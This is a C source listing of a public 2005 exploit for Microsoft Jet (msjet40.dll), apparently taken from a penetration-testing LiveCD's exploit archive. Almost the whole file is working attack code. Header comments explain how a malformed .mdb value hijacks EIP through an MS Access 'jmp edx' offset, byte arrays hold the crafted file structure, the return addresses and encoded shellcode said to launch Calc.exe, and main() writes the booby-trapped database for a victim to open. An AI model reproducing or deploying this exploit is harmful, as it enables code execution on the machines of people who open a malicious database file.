home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mdbms / msjet.c < prev   
C/C++ Source or Header  |  2005-05-06  |  11KB  |  285 lines

  1. /* 
  2. * --------------------------------------
  3. *
  4. * Microsoft Jet (msjet40.dll) Exploit
  5. * --------------------------------------
  6. *
  7. * Author:
  8. * ----------
  9. * S.Pearson
  10. * Computer Terrorism (UK)
  11. * www.computerterrorism.com
  12. * 11/04/2005
  13. *
  14. *
  15. * Credits:
  16. * ----------
  17. * Hexview (original advisory)
  18. *
  19. *
  20. * Tested on:
  21. * ------------- 
  22. * Windows 2000 SP4 (english)
  23. * Windows XP SP0 (english)
  24. * Windows XP SP1 (english)
  25. *
  26. *
  27. * Requires:
  28. * ------------
  29. * MSAccess offset for stable jmp edx (could use others)
  30. *
  31. * 0x3005AD47 (Microsoft Access 2003) 
  32. * 0x300569F7 (Microsoft Access 2002) * DEFAULT *
  33. * 0x3007F7FF (Microsoft Access 2000)
  34. *
  35. * Tech Overview: 
  36. * ------------------
  37. * Simple exploit based upon Hexview's advisory
  38. * released 01/04/2005.
  39. * Should invoke Calc.exe when opened
  40. *
  41. *
  42. * Narrative: 
  43. * ------------
  44. * In the main this vulnerability is very simple to exploit
  45. * although a little work is required to finally get to our 
  46. * shellcode.
  47. *
  48. * As per the original advisory, insufficient data
  49. * validation is not performed when msjet40.dll 
  50. * parses a database file. Accordingly, by modifying 
  51. * parts of a .mdb database file, we can eventually 
  52. * gain control of the EIP.
  53. *
  54. *
  55. * A database.mdb file is modified at the following location
  56. *
  57. * 00002310: 65 00 00 01 <--- vulnerable value in AX (0100) 
  58. *
  59. * The value goes through a signed expansion that is 
  60. * used to access a 32-bit pointer to the variable that 
  61. * stores the address of a call table.
  62. *
  63. * mov ecx, [edi+eax*4+0B0h] // edx now points to an offset
  64. * mov edx, [ecx] // from our malformed file
  65. * call dword ptr [edx+10h] // (MSAccess jmp edx)
  66. *
  67. *
  68. * jmp edx // EDX points to start of shell_jmp 
  69. * add esi,8 // Sets up esi to point to main shell 
  70. * call esi // Execute Shellcode 
  71. *
  72. */
  73.  
  74. #include <stdio.h>
  75. #include <stdlib.h>
  76. #include <string.h>
  77.  
  78.  
  79. char header[]=
  80.  
  81. "\x00\x01\x00\x00\x53\x74\x61\x6E\x64\x61\x72\x64\x20\x4A\x65\x74"
  82. "\x20\x44\x42\x00\x01\x00\x00\x00\xB5\x6E\x03\x62\x60\x09\xC2\x55"
  83. "\xE9\xA9\x67\x72\x40\x3F\x00\x9C\x7E\x9F\x90\xFF\x85\x9A\x31\xC5"
  84. "\x79\xBA\xED\x30\xBC\xDF\xCC\x9D\x63\xD9\xE4\xC3\x9F\x46\xFB\x8A"
  85. "\xBC\x4E\xB2\x6D\xEC\x37\x69\xD2\x9C\xFA\xF2\xC8\x28\xE6\x27\x20"
  86. "\x8A\x60\x60\x02\x7B\x36\xC1\xE4\xDF\xB1\x43\x62\x13\x43\xFB\x39"
  87. "\xB1\x33\x00\xF7\x79\x5B\xA6\x23\x7C\x2A\xAF\xD0\x7C\x99\x08\x1F"
  88. "\x98\xFD\x1B\xC9\x5A\x6A\xE2\xF8\x82\x66\x5F\x95\xF8\xD0\x89\x24"
  89. "\x85\x67\xC6\x1F\x27\x44\xD2\xEE\xCF\x65\xED\xFF\x07\xC7\x46\xA1"
  90. "\x78\x16\x0C\xED\xE9\x2D\x62\xD4\x54\x06\x00\x00\x34\x2E\x30\x00";
  91.  
  92.  
  93.  
  94. char body[]=
  95.  
  96. "\x00\x00\x80\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  97. "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  98. "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  99. "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  100. "\x02\x01\xDE\x0B\x00\x00\x00\x00\x90\x90\x90\x90\x59\x06\x00\x00"
  101. "\x11\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  102. "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x11\x00\x0B\x00\x11\x00\x02"
  103. "\x00\x00\x00\x02\x00\x00\x00\x00\x06\x00\x00\x01\x06\x00\x00\x00"
  104. "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11"
  105. "\x00\x00\x00\x00\x00\x00\x00\x0C\x59\x06\x00\x00\x09\x00\x03\x00"
  106. "\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  107. "\x0C\x59\x06\x00\x00\x08\x00\x02\x00\x00\x00\x09\x04\x00\x00\x12"
  108. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x59\x06\x00\x00\x04\x00"
  109. "\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x0a\x00"
  110. "\x08\x00\x08\x59\x06\x00\x00\x05\x00\x01\x00\x00\x00\x09\x04\x00"
  111. "\x00\x13\x00\x00\x00\x00\x00\x12\x00\x08\x00\x04\x59\x06\x00\x00"
  112. "\x07\x00\x02\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
  113. "\x1A\x00\x04\x00\x0A\x59\x06\x00\x00\x0A\x00\x04\x00\x00\x00\x09"
  114. "\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06"
  115. "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
  116. "\x00\x00\x00\x00\x04\x00\x0B\x59\x06\x00\x00\x0D\x00\x07\x00\x00"
  117. "\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B"
  118. "\x59\x06\x00\x00\x10\x00\x0A\x00\x00\x00\x09\x04\x00\x00\x12\x00"
  119. "\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x59\x06\x00\x00\x0F\x00\x09"
  120. "\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00"
  121. "\x00\x0B\x59\x06\x00\x00\x0E\x00\x08\x00\x00\x00\x09\x04\x00\x00"
  122. "\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x59\x06\x00\x00\x02"
  123. "\x00\x00\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00"
  124. "\x00\xFE\x01\x09\x59\x06\x00\x00\x06\x00\x01\x00\x00\x00\x09\x04"
  125. "\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06\x00"
  126. "\x00\x01\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00"
  127. "\x00\x04\x00\x04\x00\x0B\x59\x06\x00\x00\x0C\x00\x06\x00\x00\x00"
  128. "\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x59"
  129. "\x06\x00\x00\x0B\x00\x05\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00"
  130. "\x00\x00\x00\x00\x00\xFE\x01\x03\x59\x06\x00\x00\x03\x00\x01\x00"
  131. "\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x08\x00\x02\x00"
  132. "\x0E\x00\x43\x00\x6F\x00\x6E\x00\x6E\x00\x65\x00\x63\x00\x74\x00"
  133. "\x10\x00\x44\x00\x61\x00\x74\x00\x61\x00\x62\x00\x61\x00\x73\x00"
  134. "\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00\x65\x00\x43\x00\x72\x00"
  135. "\x65\x00\x61\x00\x74\x00\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00"
  136. "\x65\x00\x55\x00\x70\x00\x64\x00\x61\x00\x74\x00\x65\x00\x0A\x00"
  137. "\x46\x00\x6C\x00\x61\x00\x67\x00\x73\x00\x16\x00\x46\x00\x6F\x00"
  138. "\x72\x00\x65\x00\x69\x00\x67\x00\x6E\x00\x4E\x00\x61\x00\x6D\x00"
  139. "\x65\x00\x04\x00\x49\x00\x64\x00\x04\x00\x4C\x00\x76\x00\x0E\x00"
  140. "\x4C\x00\x76\x00\x45\x00\x78\x00\x74\x00\x72\x00\x61\x00\x10\x00"
  141. "\x4C\x00\x76\x00\x4D\x00\x6F\x00\x64\x00\x75\x00\x6C\x00\x65\x00"
  142. "\x0C\x00\x4C\x00\x76\x00\x50\x00\x72\x00\x6F\x00\x70\x00\x08\x00"
  143. "\x4E\x00\x61\x00\x6D\x00\x65\x00\x0A\x00\x4F\x00\x77\x00\x6E\x00"
  144. "\x65\x00\x72\x00\x10\x00\x50\x00\x61\x00\x72\x00\x65\x00\x6E\x00"
  145. "\x74\x00\x49\x00\x64\x00\x16\x00\x52\x00\x6D\x00\x74\x00\x49\x00"
  146. "\x6E\x00\x66\x00\x6F\x00\x4C\x00\x6F\x00\x6E\x00\x67\x00\x18\x00"
  147. "\x52\x00\x6D\x00\x74\x00\x49\x00\x6E\x00\x66\x00\x6F\x00\x53\x00"
  148. "\x68\x00\x6F\x00\x72\x00\x74\x00\x08\x00\x54\x00\x79\x00\x70\x00"
  149. "\x65\x00\x83\x07\x00\x00\x01\x00\x01\x02\x00\x01\xFF\xFF\x00\xFF"
  150. "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF"
  151. "\x00\xFF\xFF\x00\x10\x06\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
  152. "\x81\x00\x00\x00\x00\x00\x83\x07\x00\x00\x00\x00\x01\xFF\xFF\x00"
  153. "\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF"
  154. "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\x11\x06\x00\x00\x08\x00\x00\x00"
  155. "\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x59\x06\x00\x00\x01\x00"
  156. "\x00\x00\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04"
  157. "\x04\x01\x00\x00\x00\x00\x59\x06\x00\x00\x00\x00\x00\x00\x00\x00"
  158. "\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04\x04\x00\x00\x00"
  159. "\x00\x00";
  160.  
  161.  
  162. char shell_jmp[]= 
  163.  
  164. "\x14\x00" // Expanded ID Parameter (20 bytes) to accommodate this code
  165. "\x83\xC6\x08" // Add ESI,8 (Pointer to our shellcode)
  166. "\xFF\xE6" // Call ESI (Execute Shellcode)
  167. "\x90\x90\x90\x90" 
  168. "\x90\x90\x90\x90" // Not used
  169. "\x90\x90\x90";
  170.  
  171.  
  172. char EIP[]=
  173.  
  174.  
  175. //"\x47\xAD\x05\x30"; // MSAccess 2003 (jmp edx) 
  176. "\xF7\x69\x05\x30"; // MSAccess 2002 (jmp edx) 
  177. //"\xFf\xf7\x07\x30"; // MSAccess 2000 (jmp edx) 
  178.  
  179.  
  180. char vuln_param[]= 
  181.  
  182. "\x18\x00\x50\x00"
  183. "\x61\x00\x72\x00"
  184. "\x65\x00\x6E\x00"
  185. "\x74\x00\x49\x00"
  186. "\x64\x00\x4E\x00"
  187. "\x61\x00\x6D\x00"
  188. "\x65\x00\x00\x01" // 0100 will result in EDX pointing to a 
  189. // variable containing our MSAccess offset 
  190.  
  191. "\x04\x06\x00\x00"
  192. "\x05\x06" ;
  193.  
  194.  
  195.  
  196.  
  197. char shellcode[]= 
  198.  
  199. /* Invokes Calc.exe in another Process
  200. */
  201.  
  202. "\x29\xC9\x83\xE9\xDB\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xA9"
  203. "\x67\x4A\xCC\x83\xEB\xFC\xE2\xF4\x55\x8F\x0C\xCC\xA9\x67\xC1\x89"
  204. "\x95\xEC\x36\xC9\xD1\x66\xA5\x47\xE6\x7F\xC1\x93\x89\x66\xA1\x2F"
  205. "\x87\x2E\xC1\xF8\x22\x66\xA4\xFD\x69\xFE\xE6\x48\x69\x13\x4D\x0D"
  206. "\x63\x6A\x4B\x0E\x42\x93\x71\x98\x8D\x63\x3F\x2F\x22\x38\x6E\xCD"
  207. "\x42\x01\xC1\xC0\xE2\xEC\x15\xD0\xA8\x8C\xC1\xD0\x22\x66\xA1\x45"
  208. "\xF5\x43\x4E\x0F\x98\xA7\x2E\x47\xE9\x57\xCF\x0C\xD1\x68\xC1\x8C"
  209. "\xA5\xEC\x3A\xD0\x04\xEC\x22\xC4\x40\x6C\x4A\xCC\xA9\xEC\x0A\xF8"
  210. "\xAC\x1B\x4A\xCC\xA9\xEC\x22\xF0\xF6\x56\xBC\xAC\xFF\x8C\x47\xA4"
  211. "\xD7\xBF\xA8\xBF\xC1\xFF\xB4\x46\xA7\x30\xB5\x2B\x41\x89\xB5\x33"
  212. "\x56\x04\x2B\xA0\xCA\x49\x2F\xB4\xCC\x67\x4A\xCC";
  213.  
  214. char body2[]= 
  215.  
  216. "\x02\x01\xA9\x0E\x00\x00\x00\x00\x4F\x01\x00\x00\x59\x06\x00\x00"
  217. "\x34\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  218. "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x04\x00\x01\x00\x04\x00\x01"
  219. "\x00\x00\x00\x01\x00\x00\x00\x12\x06\x00\x00\x13\x06\x00\x00\x00"
  220. "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x04\x59\x06\x00\x00"
  221. "\x02\x00\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
  222. "\x04\x00\x04\x00\x01\x59\x06\x00\x00\x03\x00\x01\x00\x00\x00\x09"
  223. "\x04\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x59\x06"
  224. "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
  225. "\x00\x00\x00\x00\x04\x00\x09\x59\x06\x00\x00\x01\x00\x00\x00\x00"
  226. "\x00\x09\x04\x00\x00\x32\x00\x00\x00\x00\x00\x07\x00\xFE\x01\x06"
  227. "\x00\x41\x00\x43\x00\x4D\x00\x18\x00\x46\x00\x49\x00\x6E\x00\x68"
  228. "\x00\x65\x00\x72\x00\x69\x00\x74\x00\x61\x00\x62\x00\x6C\x00\x65"
  229. "\x00\x10\x00\x4F\x00\x62\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49"
  230. "\x00\x64\x00\x06\x00\x53\x00\x49\x00\x44\x00\x83\x07\x00\x00\x00"
  231. "\x00\x01\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x09\xFF\xFF\x00\xFF\xFF"
  232. "\x00\xFF\xFF\x00\xFF\xFF\x04\xFF\xFF\x12\xFF\xFF\x00\x14\x06\x00"
  233. "\x00\x09\x000\x0\x00\x41\x00\x74\x00\x88\x00\x00\x00\x00\x00\x59"
  234. "\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"
  235. "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x10\x00\x4F\x00\x62"
  236. "\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49\x00\x64\x00\xFF\xFF\x00";
  237.  
  238. char mdb[94208];
  239.  
  240. int main(int argc,char *argv[])
  241. {
  242.  
  243. FILE *filename_mdb;
  244. if(argc == 1)
  245. {
  246. printf("\nMicrosoft Jet (msjet40.dll) Exploit\n");
  247. printf("===================================\n\n");
  248. printf("Author: S.Pearson\n");
  249. printf("Organisation: Computer Terrorism (UK)\n\n");
  250. printf("Usage: %s <filename.mdb>\n",argv[0]);
  251. return 1;
  252. }
  253.  
  254. filename_mdb = fopen(argv[1],"wb");
  255.  
  256. memset(mdb,0x00,sizeof(mdb)); //fill with nulls
  257. memcpy(mdb,header,sizeof(header)); 
  258. memset(mdb+sizeof(header)-1,0x43, 7968);
  259. memcpy(mdb+sizeof(header)-1+7969-1,body, sizeof(body));
  260. memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1,shell_jmp, sizeof(shell_jmp));
  261. memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1, EIP, sizeof(EIP));
  262. memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1, 
  263. vuln_param, sizeof(vuln_param));
  264. memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
  265. sizeof(vuln_param)-1, shellcode, sizeof(shellcode));
  266. memset(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
  267. sizeof(vuln_param)-1+sizeof(shellcode), 0x43, 2924);
  268. memcpy(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+
  269. sizeof(vuln_param)-1+sizeof(shellcode)-1+2924-1,body2,sizeof(body2));
  270.  
  271.  
  272. if(filename_mdb)
  273. {
  274. fwrite(mdb,1,sizeof(mdb),filename_mdb);
  275. fclose(filename_mdb);
  276. }
  277. printf("Malformed .mdb file created.\n");
  278. printf("Now open with MSAccess.\n");
  279. return 0;
  280. }
  281.  
  282.